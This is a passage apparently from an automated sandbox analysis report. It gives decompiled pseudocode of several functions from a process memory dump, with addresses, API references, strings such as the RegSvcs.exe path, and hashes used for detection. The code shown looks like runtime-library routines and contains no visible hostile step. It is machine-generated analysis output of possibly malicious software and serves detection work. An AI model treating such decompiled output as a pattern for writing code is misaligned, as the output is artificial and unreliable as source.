				intOrPtr _t128;
				intOrPtr _t129;
				intOrPtr _t130;

				_t100 = __ecx;
				_push(0x78);
				E0049D93F(0x4d5858, __edi, __esi);
				_t122 = _t100;
				_t124 =  *(_t126 + 8);
				 *((char*)(_t126 - 0x74)) = 0x40;
				 *((char*)(_t126 - 0x64)) = 0x40;
				E0047C1E0(_t126 - 0x30,  *(_t126 + 8));
				E0047C1E0(_t126 - 0x50, _t124);
				 *((intOrPtr*)(_t126 - 0x18)) = 0x80000000;
				 *((intOrPtr*)(_t126 - 0x20)) = 0xffffffc1;
				 *((char*)(_t126 - 0x14)) = 0;
				 *((intOrPtr*)(_t126 - 0x1c)) = 0;
				if(E00480ACB(_t124, _t126 - 0x20) == 0) {
					 *((char*)(_t126 - 0x54)) = 0;
					 *((intOrPtr*)(_t126 - 0x5c)) = 0;
					 *(_t126 - 0x58) = 2;
					 *((intOrPtr*)(_t126 - 0x60)) = 0xffffffe0;
					E004808D0(_t126 - 0x60);
					_push(0);
					_t124 = 1;
					_push(1);
					_t128 = _t127 - 0x10;
					 *((intOrPtr*)(_t126 - 0x84)) = _t128;
					E0047C1E0(_t128, _t126 - 0x20);
					 *(_t126 - 4) = 0;
					 *(_t126 - 4) =  *(_t126 - 4) | 0xffffffff;
					E0048075C(0, _t126 - 0x30, _t122, 1);
					_push(1);
					_push(1);
					_t129 = _t128 - 0x10;
					 *((intOrPtr*)(_t126 - 0x84)) = _t129;
					E0047C1E0(_t129, _t126 - 0x20);
					 *(_t126 - 4) = 1;
					_t28 = _t126 - 4;
					 *_t28 =  *(_t126 - 4) | 0xffffffff;
					__eflags =  *_t28;
					_t108 = _t126 - 0x50;
					E0048075C(0, _t108, _t122, 1);
					_push(_t108);
					E004804A7(0, _t126 - 0x30, _t122, 1, _t126, _t126 - 0x50);
					_t110 = _t126 - 0x50;
					E0047C1E0(_t110, _t126 - 0x30);
					_push(_t110);
					E00480608(0, _t110, _t122, 1, _t126, _t126 - 0x30);
					 *((char*)(_t122 + 0xc)) = 0x20;
					 *_t122 = 0;
					 *((intOrPtr*)(_t122 + 4)) = 0;
					 *((char*)(_t126 - 0x34)) = 0;
					 *((intOrPtr*)(_t126 - 0x3c)) = 0;
					 *((intOrPtr*)(_t126 - 0x38)) = 0x80000000;
					 *((intOrPtr*)(_t126 - 0x40)) = 0xffffffc1;
					 *((intOrPtr*)(_t122 + 8)) = 0;
					E0047C1E0(_t126 - 0x80, _t122);
					while(1) {
						_t112 = _t126 - 0x70;
						_t99 = _t124 & 0x00000003;
						E0047C1E0(_t112, _t126 - 0x30);
						_push(_t112);
						__eflags = E004804A7(_t99, _t112, _t122, _t124, _t126, _t126 - 0x40);
						if(__eflags != 0) {
							break;
						}
						_push(1);
						_push(1);
						_t130 = _t129 - 0x10;
						 *((intOrPtr*)(_t126 - 0x84)) = _t130;
						E0047C1E0(_t130, _t126 - 0x70);
						 *(_t126 - 4) = 2;
						 *(_t126 - 4) =  *(_t126 - 4) | 0xffffffff;
						_t115 = _t122;
						E0048075C(_t99, _t115, _t122, _t124);
						__eflags = _t99;
						if(_t99 != 0) {
							L7:
							_push(_t115);
							__eflags = E00480608(_t99, _t126 - 0x30, _t122, _t124, _t126, _t126 - 0x50);
							if(__eflags == 0) {
								_push(1);
								_push(1);
								_t129 = _t130 - 0x10;
								 *((intOrPtr*)(_t126 - 0x84)) = _t129;
								E0047C1E0(_t129, _t126 - 0x60);
								 *(_t126 - 4) = 3;
								 *(_t126 - 4) =  *(_t126 - 4) | 0xffffffff;
								__eflags = E0048075C(_t99, _t126 - 0x40, _t122, _t124);
								if(__eflags == 0) {
									_t124 = _t124 + 1;
									__eflags = _t124 - 0x2710;
									if(__eflags <= 0) {
										continue;
									}
								}
							}
						} else {
							__eflags = E00480ACB(_t126 - 0x80, _t122);
							if(__eflags == 0) {
								_t115 = _t126 - 0x80;
								E0047C1E0(_t115, _t122);
								goto L7;
							}
						}
						break;
					}
					_t67 = E00480E8C(_t122, __eflags);
				} else {
					 *((char*)(_t122 + 0xc)) = 0x20;
					 *_t122 = 0;
					 *((intOrPtr*)(_t122 + 4)) = 0;
					 *((intOrPtr*)(_t122 + 8)) = 0;
				}
				return E0049D8E9(_t67, _t122, _t124);
			}

0x004801a4
0x004801a4
0x004801ab
0x004801b0
0x004801b2
0x004801b9
0x004801bd
0x004801c1
0x004801ca
0x004801d2
0x004801db
0x004801e5
0x004801e8
0x004801f2
0x00480208
0x0048020b
0x0048020e
0x00480215
0x0048021c
0x00480221
0x00480227
0x00480228
0x00480229
0x0048022c
0x00480235
0x0048023a
0x0048023d
0x00480244
0x00480249
0x0048024a
0x0048024b
0x00480251
0x0048025a
0x0048025f
0x00480262
0x00480262
0x00480262
0x00480266
0x00480269
0x0048026e
0x00480276
0x0048027f
0x00480282
0x00480287
0x0048028c
0x00480291
0x00480298
0x0048029a
0x0048029e
0x004802a1
0x004802a4
0x004802ab
0x004802b2
0x004802b5
0x004802ba
0x004802c0
0x004802c3
0x004802c6
0x004802cb
0x004802d5
0x004802d7
0x00000000
0x00000000
0x004802dd
0x004802df
0x004802e1
0x004802e7
0x004802f0
0x004802f5
0x004802fc
0x00480300
0x00480302
0x00480307
0x00480309
0x00480321
0x00480321
0x0048032e
0x00480330
0x00480332
0x00480334
0x00480336
0x0048033c
0x00480345
0x0048034a
0x00480351
0x0048035d
0x0048035f
0x00480361
0x00480362
0x00480368
0x00000000
0x00000000
0x00480368
0x0048035f
0x0048030b
0x00480314
0x00480316
0x00480319
0x0048031c
0x00000000
0x0048031c
0x00480316
0x00000000
0x00480309
0x00480370
0x004801f4
0x004801f4
0x004801f8
0x004801fa
0x004801fd
0x004801fd
0x0048037a

APIs

__EH_prolog3_GS.LIBCMT ref: 004801AB

Strings

@, xrefs: 004801B9
@, xrefs: 004801BD

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: f89c1a31681aeaa22e63610e18eed1bedcddc3f34ed1c3266490f1e664b2c26c
Instruction ID: f92ed92c9db5bfd0f421601c8e4ac24b13c196cabc4d12cf62a06b024366651a
Opcode Fuzzy Hash: f89c1a31681aeaa22e63610e18eed1bedcddc3f34ed1c3266490f1e664b2c26c
Instruction Fuzzy Hash: E8517C70820318ABCF14FFA5CD86ADEBB78BF15314F50462EE455A7282DB785A08DF94

Uniqueness

Uniqueness Score: -1.00%

Function 004B0D5B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E004B0D5B(intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t48;
				char* _t49;
				signed int _t50;
				void* _t52;
				signed int _t55;
				intOrPtr* _t58;
				void* _t59;
				signed int _t63;
				intOrPtr _t64;

				if(_a4 == 2 || _a4 == 1) {
					E004BC110(_t52);
					 *0x4f0250(0, 0x4ee5c0, 0x104, _t59, _t48);
					_t49 =  *0x4eeaf4; // 0x14d3458
					 *0x4eeafc = 0x4ee5c0;
					if(_t49 == 0 ||  *_t49 == 0) {
						_t49 = 0x4ee5c0;
					}
					_v8 = 0;
					_v16 = 0;
					E004B0E7F(_t52, _t49, 0, 0,  &_v8,  &_v16);
					_t63 = E004B0FF4(_v8, _v16, 1);
					if(_t63 != 0) {
						E004B0E7F(_t52, _t49, _t63, _t63 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_t50 = E004BBC2B(_t49, 0, _t63, _t63);
							if(_t50 == 0) {
								_t58 = _v12;
								_t55 = 0;
								_t36 = _t58;
								if( *_t58 == 0) {
									L15:
									_t37 = 0;
									 *0x4eeae8 = _t55;
									_v12 = 0;
									_t50 = 0;
									 *0x4eeaec = _t58;
									L16:
									E004B2FCF(_t37);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t36 = _t36 + 4;
									_t55 = _t55 + 1;
								} while ( *_t36 != 0);
								goto L15;
							}
							_t37 = _v12;
							goto L16;
						}
						 *0x4eeae8 = _v8 - 1;
						_t43 = _t63;
						_t63 = 0;
						 *0x4eeaec = _t43;
						goto L10;
					} else {
						_t44 = E004A966E();
						_push(0xc);
						_pop(0);
						 *_t44 = 0;
						L10:
						_t50 = 0;
						L17:
						E004B2FCF(_t63);
						return _t50;
					}
				} else {
					_t45 = E004A966E();
					_t64 = 0x16;
					 *_t45 = _t64;
					E004A5E77();
					return _t64;
				}
			}

0x004b0d68
0x004b0d88
0x004b0d9b
0x004b0da1
0x004b0da7
0x004b0daf
0x004b0db6
0x004b0db6
0x004b0dbb
0x004b0dc2
0x004b0dc9
0x004b0ddb
0x004b0de2
0x004b0e01
0x004b0e0d
0x004b0e28
0x004b0e2b
0x004b0e32
0x004b0e38
0x004b0e3f
0x004b0e42
0x004b0e44
0x004b0e48
0x004b0e52
0x004b0e52
0x004b0e54
0x004b0e5a
0x004b0e5d
0x004b0e5f
0x004b0e65
0x004b0e66
0x004b0e6c
0x00000000
0x00000000
0x00000000
0x00000000
0x004b0e4a
0x004b0e4a
0x004b0e4a
0x004b0e4d
0x004b0e4e
0x00000000
0x004b0e4a
0x004b0e3a
0x00000000
0x004b0e3a
0x004b0e13
0x004b0e18
0x004b0e1a
0x004b0e1c
0x00000000
0x004b0de4
0x004b0de4
0x004b0de9
0x004b0deb
0x004b0dec
0x004b0e21
0x004b0e21
0x004b0e6f
0x004b0e70
0x00000000
0x004b0e79
0x004b0d70
0x004b0d70
0x004b0d77
0x004b0d78
0x004b0d7a
0x00000000
0x004b0d7f

APIs

_free.LIBCMT ref: 004B0E66
_free.LIBCMT ref: 004B0E70

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, xrefs: 004B0D92, 004B0D99, 004B0DC8, 004B0E00

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
API String ID: 269201875-4009286469
Opcode ID: 33731a27c8cb530c38479861e4193e67f8246eb76ddea4452ad14e0a58428188
Instruction ID: 71ad51c0d46c846afb2a9069445b44718c2ba36395ad401a4161643e2ffcb2d1
Opcode Fuzzy Hash: 33731a27c8cb530c38479861e4193e67f8246eb76ddea4452ad14e0a58428188
Instruction Fuzzy Hash: 2F318071A00258AFDB21DF9A9C819EFBBFCEB95311F1040ABF5049B311D6789E41CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004A1AD3, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E004A1AD3(signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed int _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t97;
				signed char _t98;
				signed int _t99;
				signed int _t100;
				void* _t101;
				intOrPtr* _t102;
				signed int _t103;
				signed int _t104;
				signed char _t109;
				void* _t111;
				signed char* _t112;
				signed int _t113;
				void* _t114;
				signed char* _t117;
				void* _t122;
				signed int _t124;
				void* _t131;
				void* _t132;

				_t97 = _a4;
				_t133 =  *_t97 - 0x80000003;
				if( *_t97 == 0x80000003) {
					return _t74;
				} else {
					_push(_t122);
					_push(_t114);
					_t75 = E004A13A1(_t97, _t101, _t111, _t114, _t122, _t133);
					_t134 =  *((intOrPtr*)(_t75 + 8));
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						_t122 =  *0x4f01d0(0);
						if( *((intOrPtr*)(E004A13A1(_t97, _t101, _t111, 0, _t122, _t134) + 8)) != _t122 &&  *_t97 != 0xe0434f4d &&  *_t97 != 0xe0434352) {
							_t87 = E0049EC91(_t97, _a8, _a12, _a16, _a20, _a28, _a32);
							_t131 = _t131 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E0049EBC3(_t97, _t101, 0, _t122,  &_v40,  &_v24, _a24, _a16, _t76);
						_t113 = _v36;
						_t132 = _t131 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t113;
						if(_t113 < _v28) {
							_t103 = _t113 * 0x14;
							_v12 = _t103;
							do {
								_t104 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t103, _t104 << 2);
								_t132 = _t132 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t109 = _t93[4];
									if(_t109 == 0 ||  *((char*)(_t109 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E004A169D(_t113, _t97, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t113 = _v8;
											_t132 = _t132 + 0x30;
										}
									}
								}
								_t113 = _t113 + 1;
								_t87 = _v16;
								_t103 = _v12 + 0x14;
								_v8 = _t113;
								_v12 = _t103;
							} while (_t113 < _v28);
						}
						goto L16;
					}
					E004AEA83(_t97, _t111, 0, _t122);
					asm("int3");
					_t112 = _v68;
					_push(_t97);
					_push(_t122);
					_push(0);
					_t78 = _t112[4];
					__eflags = _t78;
					if(_t78 == 0) {
						L41:
						_t80 = 1;
						__eflags = 1;
					} else {
						_t102 = _t78 + 8;
						__eflags =  *_t102;
						if( *_t102 == 0) {
							goto L41;
						} else {
							__eflags =  *_t112 & 0x00000080;
							_t117 = _a4;
							if(( *_t112 & 0x00000080) == 0) {
								L23:
								_t98 = _t117[4];
								_t124 = 0;
								__eflags = _t78 - _t98;
								if(_t78 == _t98) {
									L33:
									__eflags =  *_t117 & 0x00000002;
									if(( *_t117 & 0x00000002) == 0) {
										L35:
										_t81 = _a8;
										__eflags =  *_t81 & 0x00000001;
										if(( *_t81 & 0x00000001) == 0) {
											L37:
											__eflags =  *_t81 & 0x00000002;
											if(( *_t81 & 0x00000002) == 0) {
												L39:
												_t124 = 1;
												__eflags = 1;
											} else {
												__eflags =  *_t112 & 0x00000002;
												if(( *_t112 & 0x00000002) != 0) {
													goto L39;
												}
											}
										} else {
											__eflags =  *_t112 & 0x00000001;
											if(( *_t112 & 0x00000001) != 0) {
												goto L37;
											}
										}
									} else {
										__eflags =  *_t112 & 0x00000008;
										if(( *_t112 & 0x00000008) != 0) {
											goto L35;
										}
									}
									_t80 = _t124;
								} else {
									_t59 = _t98 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t99 =  *_t102;
										__eflags = _t99 -  *_t82;
										if(_t99 !=  *_t82) {
											break;
										}
										__eflags = _t99;
										if(_t99 == 0) {
											L29:
											_t83 = _t124;
										} else {
											_t100 =  *((intOrPtr*)(_t102 + 1));
											__eflags = _t100 -  *((intOrPtr*)(_t82 + 1));
											if(_t100 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t102 = _t102 + 2;
												_t82 = _t82 + 2;
												__eflags = _t100;
												if(_t100 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										__eflags = _t83;
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									__eflags = _t83;
									goto L31;
								}
							} else {
								__eflags =  *_t117 & 0x00000010;
								if(( *_t117 & 0x00000010) != 0) {
									goto L41;
								} else {
									goto L23;
								}
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x004a1ada
0x004a1add
0x004a1ae3
0x004a1c02
0x004a1ae9
0x004a1ae9
0x004a1aea
0x004a1aeb
0x004a1af2
0x004a1af5
0x004a1afe
0x004a1b08
0x004a1b2d
0x004a1b32
0x004a1b37
0x004a1bfe
0x00000000
0x004a1bff
0x004a1b37
0x004a1b08
0x004a1b3d
0x004a1b40
0x004a1b43
0x004a1b49
0x004a1b4f
0x004a1b61
0x004a1b66
0x004a1b69
0x004a1b6c
0x004a1b6f
0x004a1b72
0x004a1b78
0x004a1b7e
0x004a1b81
0x004a1b84
0x004a1b93
0x004a1b94
0x004a1b94
0x004a1b99
0x004a1bac
0x004a1bae
0x004a1bb3
0x004a1bbe
0x004a1bc0
0x004a1bc2
0x004a1bde
0x004a1be3
0x004a1be6
0x004a1be6
0x004a1bbe
0x004a1bb3
0x004a1bec
0x004a1bed
0x004a1bf0
0x004a1bf3
0x004a1bf6
0x004a1bf9
0x004a1b84
0x00000000
0x004a1b78
0x004a1c03
0x004a1c08
0x004a1c0c
0x004a1c0f
0x004a1c10
0x004a1c11
0x004a1c12
0x004a1c15
0x004a1c17
0x004a1c8f
0x004a1c91
0x004a1c91
0x004a1c19
0x004a1c19
0x004a1c1c
0x004a1c1f
0x00000000
0x004a1c21
0x004a1c21
0x004a1c24
0x004a1c27
0x004a1c2e
0x004a1c2e
0x004a1c31
0x004a1c33
0x004a1c35
0x004a1c67
0x004a1c67
0x004a1c6a
0x004a1c71
0x004a1c71
0x004a1c74
0x004a1c77
0x004a1c7e
0x004a1c7e
0x004a1c81
0x004a1c88
0x004a1c8a
0x004a1c8a
0x004a1c83
0x004a1c83
0x004a1c86
0x00000000
0x00000000
0x004a1c86
0x004a1c79
0x004a1c79
0x004a1c7c
0x00000000
0x00000000
0x004a1c7c
0x004a1c6c
0x004a1c6c
0x004a1c6f
0x00000000
0x00000000
0x004a1c6f
0x004a1c8b
0x004a1c37
0x004a1c37
0x004a1c37
0x004a1c3a
0x004a1c3a
0x004a1c3c
0x004a1c3e
0x00000000
0x00000000
0x004a1c40
0x004a1c42
0x004a1c56
0x004a1c56
0x004a1c44
0x004a1c44
0x004a1c47
0x004a1c4a
0x00000000
0x004a1c4c
0x004a1c4c
0x004a1c4f
0x004a1c52
0x004a1c54
0x00000000
0x00000000
0x00000000
0x00000000
0x004a1c54
0x004a1c4a
0x004a1c5f
0x004a1c5f
0x004a1c61
0x00000000
0x004a1c63
0x004a1c63
0x004a1c63
0x00000000
0x004a1c61
0x004a1c5a
0x004a1c5c
0x004a1c5c
0x00000000
0x004a1c5c
0x004a1c29
0x004a1c29
0x004a1c2c
0x00000000
0x00000000
0x00000000
0x00000000
0x004a1c2c
0x004a1c27
0x004a1c1f
0x004a1c92
0x004a1c96
0x004a1c96

APIs

CatchIt.LIBVCRUNTIME ref: 004A1BDE

Strings

MOC, xrefs: 004A1B0A
RCC, xrefs: 004A1B12

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Catch
String ID: MOC$RCC
API String ID: 78271584-2084237596
Opcode ID: 323891282e3606efebc628c42dbb95f871ba3b4665a3fff7be35290b70404d06
Instruction ID: bcb79795cf9b6324c1901bf8a98fcddce9116a67ef6027646ee1395c5c0267ad
Opcode Fuzzy Hash: 323891282e3606efebc628c42dbb95f871ba3b4665a3fff7be35290b70404d06
Instruction Fuzzy Hash: A6415971900209AFCF15CF99CD81EEE7BB5FF59304F19405AF90466261E339A960DB64

Uniqueness

Uniqueness Score: -1.00%

Function 0047FABB, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0047FABB(intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed char _t49;
				signed int _t54;
				signed int _t56;
				signed char _t62;
				intOrPtr* _t75;
				void* _t77;
				void* _t79;
				signed int _t84;
				void* _t85;
				void* _t86;
				unsigned char _t90;
				intOrPtr* _t92;
				signed char _t98;
				void* _t99;
				void* _t100;

				_t75 = __ecx;
				_push(0x3c);
				E0049D93F(0x4d57d7, __edi, __esi);
				_t92 = _t75;
				_t94 =  *((intOrPtr*)(_t99 + 8));
				_t49 =  *((intOrPtr*)( *((intOrPtr*)(_t99 + 8)) + 0xc));
				if((_t49 & 0x00000040) == 0) {
					__eflags = _t49 & 0x00000020;
					if((_t49 & 0x00000020) == 0) {
						E0047C1E0(_t99 - 0x30, _t94);
						_t77 = _t99 - 0x20;
						 *((intOrPtr*)(_t99 - 0x30)) = 0xffffffc0;
						E0047C1E0(_t77, _t94);
						_push(_t77);
						 *((intOrPtr*)(_t99 - 0x18)) = 0x80000000;
						 *((intOrPtr*)(_t99 - 0x1c)) = 0;
						 *(_t99 - 0x34) = 1;
						E004823E7(_t77, _t99 - 0x34);
						_t54 = E00480F0D(_t99 - 0x20,  *(_t99 - 0x20) >> 0x1f, 0);
						 *(_t99 - 0x14) =  *(_t99 - 0x14) & 0x0000007f;
						_t79 = _t99 - 0x44;
						 *(_t99 - 0x34) = _t54;
						_t98 = 1;
						 *((char*)(_t99 - 0x38)) = 0;
						 *((intOrPtr*)(_t99 - 0x40)) = 0;
						 *((intOrPtr*)(_t99 - 0x3c)) = 1;
						 *((intOrPtr*)(_t99 - 0x44)) = 0xffffffe0;
						E004808D0(_t79);
						_t56 =  *((intOrPtr*)(_t99 - 0x38));
						_t90 =  *(_t99 - 0x14) >> 7;
						__eflags = _t90;
						if(_t90 == 0) {
							L7:
							__eflags = _t56;
							if(__eflags < 0) {
								goto L10;
							} else {
								goto L8;
							}
						} else {
							__eflags = _t56;
							if(_t56 >= 0) {
								L9:
								_push(_t79);
								_t86 = _t99 - 0x30;
								E00480608(0, _t86, _t92, _t98, _t99, _t99 - 0x20);
								_push(_t86);
								_push(_t99 - 0x30);
								E0048037D(_t92, _t90, _t92, _t98, __eflags);
								_t84 =  *(_t99 - 0x34);
							} else {
								__eflags = _t90;
								if(_t90 != 0) {
									L8:
									__eflags = _t90;
									_t85 = _t99 - 0x20;
									_t65 =  !=  ? _t85 : _t99 - 0x44;
									_t79 =  !=  ? _t99 - 0x44 : _t85;
									__eflags = E00480FA4(_t79,  !=  ? _t85 : _t99 - 0x44);
									if(__eflags != 0) {
										L10:
										_push(_t79);
										_push(_t99 - 0x30);
										E0048037D(_t92, _t90, _t92, _t98, __eflags);
										_t101 = _t100 - 0x10;
										 *((intOrPtr*)(_t99 - 0x48)) = _t100 - 0x10;
										E0047C1E0(_t101, _t99 - 0x20);
										 *(_t99 - 4) = 0;
										 *(_t99 - 4) =  *(_t99 - 4) | 0xffffffff;
										_t84 =  *(_t99 - 0x34) + E0047FBFF(0, _t92, _t90, _t92, _t98, _t99);
										__eflags = _t84;
									} else {
										goto L9;
									}
								} else {
									goto L7;
								}
							}
						}
						__eflags = _t84;
						if(_t84 == 0) {
							_t98 = 0;
						} else {
							 *(_t92 + 0xc) =  *(_t92 + 0xc) | 0x00000040;
						}
						_t62 = _t98;
					} else {
						_t62 = 0;
						 *(_t92 + 0xc) = 0;
						 *((intOrPtr*)(_t92 + 4)) = 0;
						 *((intOrPtr*)(_t92 + 8)) = 0x80000000;
						 *_t92 = 0xffffffc1;
					}
				} else {
					 *(_t92 + 0xc) =  *(_t92 + 0xc) | 0x00000040;
					_t62 = 1;
				}
				return E0049D8E9(_t62, _t92, _t98);
			}

0x0047fabb
0x0047fabb
0x0047fac2
0x0047fac7
0x0047fac9
0x0047facc
0x0047fad1
0x0047fadf
0x0047fae1
0x0047fb03
0x0047fb09
0x0047fb0c
0x0047fb13
0x0047fb1e
0x0047fb21
0x0047fb29
0x0047fb2c
0x0047fb36
0x0047fb40
0x0047fb45
0x0047fb49
0x0047fb4e
0x0047fb51
0x0047fb52
0x0047fb55
0x0047fb58
0x0047fb5b
0x0047fb62
0x0047fb6a
0x0047fb6d
0x0047fb70
0x0047fb72
0x0047fb7c
0x0047fb7c
0x0047fb7e
0x00000000
0x00000000
0x00000000
0x00000000
0x0047fb74
0x0047fb74
0x0047fb76
0x0047fb9b
0x0047fb9b
0x0047fba0
0x0047fba3
0x0047fba8
0x0047fbae
0x0047fbaf
0x0047fbb4
0x0047fb78
0x0047fb78
0x0047fb7a
0x0047fb80
0x0047fb80
0x0047fb82
0x0047fb88
0x0047fb8f
0x0047fb97
0x0047fb99
0x0047fbb9
0x0047fbb9
0x0047fbbf
0x0047fbc0
0x0047fbc5
0x0047fbcb
0x0047fbd1
0x0047fbd6
0x0047fbd9
0x0047fbe7
0x0047fbe7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047fb7a
0x0047fb76
0x0047fbe9
0x0047fbeb
0x0047fbf3
0x0047fbed
0x0047fbed
0x0047fbed
0x0047fbf5
0x0047fae3
0x0047fae5
0x0047fae7
0x0047faea
0x0047faed
0x0047faf4
0x0047faf4
0x0047fad3
0x0047fad3
0x0047fad9
0x0047fad9
0x0047fbfc

APIs

__EH_prolog3_GS.LIBCMT ref: 0047FAC2

Strings

kG, xrefs: 0047FB1B, 0047FBB4
<kG, xrefs: 0047FB6A

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: <kG$kG
API String ID: 2427045233-259690590
Opcode ID: 35802d53db0abf957d336c5c17d80e8e41b93bdd5be51d6d73c451daf7f3fb2a
Instruction ID: e1face48ce6cdafba67daf5fec9e86118ddb69b62f272237de733a74d6945970
Opcode Fuzzy Hash: 35802d53db0abf957d336c5c17d80e8e41b93bdd5be51d6d73c451daf7f3fb2a
Instruction Fuzzy Hash: 6341A671D10259ABCF04EFA5C891AEEBBB5BF05354F10812FE855B3241CB786A0DCB95

Uniqueness

Uniqueness Score: -1.00%

Function 00487213, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00487213(signed int __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t51;
				signed int _t66;
				signed int _t68;
				intOrPtr* _t71;
				void* _t75;
				void* _t79;
				void* _t80;
				signed int _t87;
				intOrPtr* _t89;
				void* _t90;
				intOrPtr _t91;
				intOrPtr _t92;

				_t71 = __ecx;
				_push(0x84);
				E0049D93F(0x4d6652, __edi, __esi);
				_t89 = _t71;
				_t49 =  *((intOrPtr*)(_t90 + 8));
				 *((intOrPtr*)(_t90 - 0x8c)) =  *((intOrPtr*)(_t90 + 8));
				 *((char*)(_t90 - 0x64)) = 0x40;
				 *((char*)(_t90 - 0x50)) = 0x40;
				E00485F29(_t90 - 0x88, _t49);
				 *((char*)(_t89 + 0x10)) = 0;
				_t66 = __ebx | 0xffffffff;
				_t51 = 0xffffffc1;
				 *((intOrPtr*)(_t89 + 8)) = 0;
				 *((intOrPtr*)(_t89 + 0xc)) = 0x80000000;
				 *((intOrPtr*)(_t90 - 0x2c)) = 0x80000000;
				 *((intOrPtr*)(_t90 - 0x18)) = 0x80000000;
				 *(_t89 + 4) = _t66;
				 *((intOrPtr*)(_t90 - 0x40)) = 0x80000000;
				 *_t89 = _t51;
				 *((char*)(_t90 - 0x3c)) = 0;
				 *((intOrPtr*)(_t90 - 0x44)) = 0;
				 *(_t90 - 0x48) = _t66;
				 *((intOrPtr*)(_t90 - 0x4c)) = _t51;
				 *((char*)(_t90 - 0x28)) = 0;
				 *((intOrPtr*)(_t90 - 0x30)) = 0;
				 *(_t90 - 0x34) = _t66;
				 *((intOrPtr*)(_t90 - 0x38)) = _t51;
				 *((char*)(_t90 - 0x14)) = 0;
				 *((intOrPtr*)(_t90 - 0x1c)) = 0;
				 *(_t90 - 0x20) = _t66;
				 *((intOrPtr*)(_t90 - 0x24)) = _t51;
				E00485F29(_t90 - 0x74, _t89);
				_t87 = 1;
				while(1) {
					_t75 = _t90 - 0x60;
					_t68 = _t87 & 0x00000003;
					E00485F29(_t75, _t90 - 0x88);
					_push(_t75);
					if(E00486168(_t68, _t75, 0, _t87, _t89, _t90, _t90 - 0x38) != 0) {
						break;
					}
					_push(1);
					_push(1);
					_t92 = _t91 - 0x14;
					 *((intOrPtr*)(_t90 - 0x90)) = _t92;
					E00485F29(_t92, _t90 - 0x60);
					 *(_t90 - 4) =  *(_t90 - 4) & 0x00000000;
					 *(_t90 - 4) =  *(_t90 - 4) | 0xffffffff;
					E00485C66(_t68, _t89, 0, _t87, _t89);
					if(_t68 != 0) {
						L5:
						_push(1);
						_push(1);
						_t91 = _t92 - 0x14;
						 *((intOrPtr*)(_t90 - 0x90)) = _t91;
						E00485F29(_t91, _t90 - 0x4c);
						 *(_t90 - 4) = 1;
						 *(_t90 - 4) =  *(_t90 - 4) | 0xffffffff;
						_t79 = _t90 - 0x24;
						if(E00485C66(1, _t79, 0, _t87, _t89) == 0) {
							_push(_t79);
							_t80 = _t90 - 0x38;
							if(E0048653A(1, _t80, _t87, _t89, _t90, _t90 - 0x24) == 0) {
								_push(_t80);
								if(E004862B0(1, _t90 - 0x88, _t87, _t89,  *((intOrPtr*)(_t90 - 0x8c))) == 0) {
									_t87 = _t87 + 1;
									if(_t87 <= 0x2710) {
										continue;
									}
								}
							}
						}
